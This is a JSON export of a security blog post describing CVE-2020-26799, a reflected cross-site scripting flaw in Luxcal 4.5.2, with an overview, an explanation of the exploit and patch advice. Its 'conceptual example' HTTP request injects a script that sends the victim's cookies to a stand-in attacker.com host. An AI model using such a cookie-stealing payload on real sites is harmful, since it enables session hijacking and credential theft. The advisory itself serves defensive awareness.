{"id":59688,"date":"2025-07-27T19:34:38","date_gmt":"2025-07-27T19:34:38","guid":{"rendered":""},"modified":"2025-11-02T11:12:46","modified_gmt":"2025-11-02T17:12:46","slug":"cve-2020-26799-critical-reflected-xss-vulnerability-in-luxcal-4-5-2","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2020-26799-critical-reflected-xss-vulnerability-in-luxcal-4-5-2\/","title":{"rendered":"<strong>CVE-2020-26799: Critical Reflected XSS Vulnerability in Luxcal 4.5.2<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has identified a critical security vulnerability, CVE-2020-26799, within Luxcal 4.5.2, a widely used web-based calendar application. This reflected cross-site scripting (XSS) vulnerability presents a significant risk to the confidentiality and integrity of user data. Given the prominence of Luxcal in many web-based systems, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7419-critical-vulnerability-discovered-in-tenda-o3v2-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"68772\">vulnerability could potentially<\/a> impact a vast number of users and organizations, making it a pressing concern for cybersecurity professionals.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2020-26799<br \/>\nSeverity: Critical (9.8 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50105-critical-vulnerability-in-oracle-universal-work-queue-allowing-unauthorized-data-access\/\"  data-wpil-monitor-id=\"68672\">Unauthorized access to user data<\/a>, potential system compromise<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4170204209\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Luxcal | 4.5.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/\"  data-wpil-monitor-id=\"66097\">vulnerability resides in the index.php file<\/a> of Luxcal 4.5.2. Due to inadequate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8279-critical-input-validation-vulnerability-in-gitlab-language-server\/\"  data-wpil-monitor-id=\"68771\">input validation<\/a>, an attacker can inject malicious scripts into the application, which are then reflected back to the user. This allows an unauthenticated attacker to execute scripts in the user&#8217;s browser, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43186-critical-memory-handling-issue-leading-to-unexpected-app-termination-and-potential-system-compromise\/\"  data-wpil-monitor-id=\"68773\">leading to potential<\/a> theft of session cookies, login credentials, or other sensitive user data. In some instances, this could also <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7793-critical-vulnerability-in-tenda-fh451-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"68539\">lead to a full system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-145688914\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8243-critical-buffer-overflow-vulnerability-in-totolink-x15-http-post-request-handler\/\"  data-wpil-monitor-id=\"68540\">vulnerability by sending malicious requests<\/a> to the server, like so:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?malicious_payload=&lt;script&gt;document.location=&#039;https:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt; HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>The above HTTP request contains a payload that, when processed by the server, would reflect back and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52904-command-execution-vulnerability-in-file-browser-version-2-32-0\/\"  data-wpil-monitor-id=\"92235\">execute in the user&#8217;s browser<\/a>. This script would send the user&#8217;s cookies to the attacker&#8217;s server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43192-critical-configuration-issue-in-macos-allowing-potential-system-compromise\/\"  data-wpil-monitor-id=\"75472\">potentially allowing<\/a> them to impersonate the user.<\/p>\n<p><strong>Mitigation and Remediation<\/strong><\/p>\n<p>The vulnerability can be mitigated by applying patches provided by the vendor. As an immediate temporary measure, web application firewalls (WAF) or intrusion detection systems (IDS) can be configured to detect and prevent any malicious payloads that look like XSS attacks. However, these are not foolproof <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52376-authentication-bypass-vulnerability-in-nexxt-solutions-ncm-x1800-mesh-router\/\"  data-wpil-monitor-id=\"75471\">solutions and do not completely eliminate the vulnerability<\/a>. It is highly recommended to apply the vendor&#8217;s patch as soon as possible.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has identified a critical security vulnerability, CVE-2020-26799, within Luxcal 4.5.2, a widely used web-based calendar application. This reflected cross-site scripting (XSS) vulnerability presents a significant risk to the confidentiality and integrity of user data. Given the prominence of Luxcal in many web-based systems, this vulnerability could potentially [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59688","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59688","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59688"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59688\/revisions"}],"predecessor-version":[{"id":85449,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59688\/revisions\/85449"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59688"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59688"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59688"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59688"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59688"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59688"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59688"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59688"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59688"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}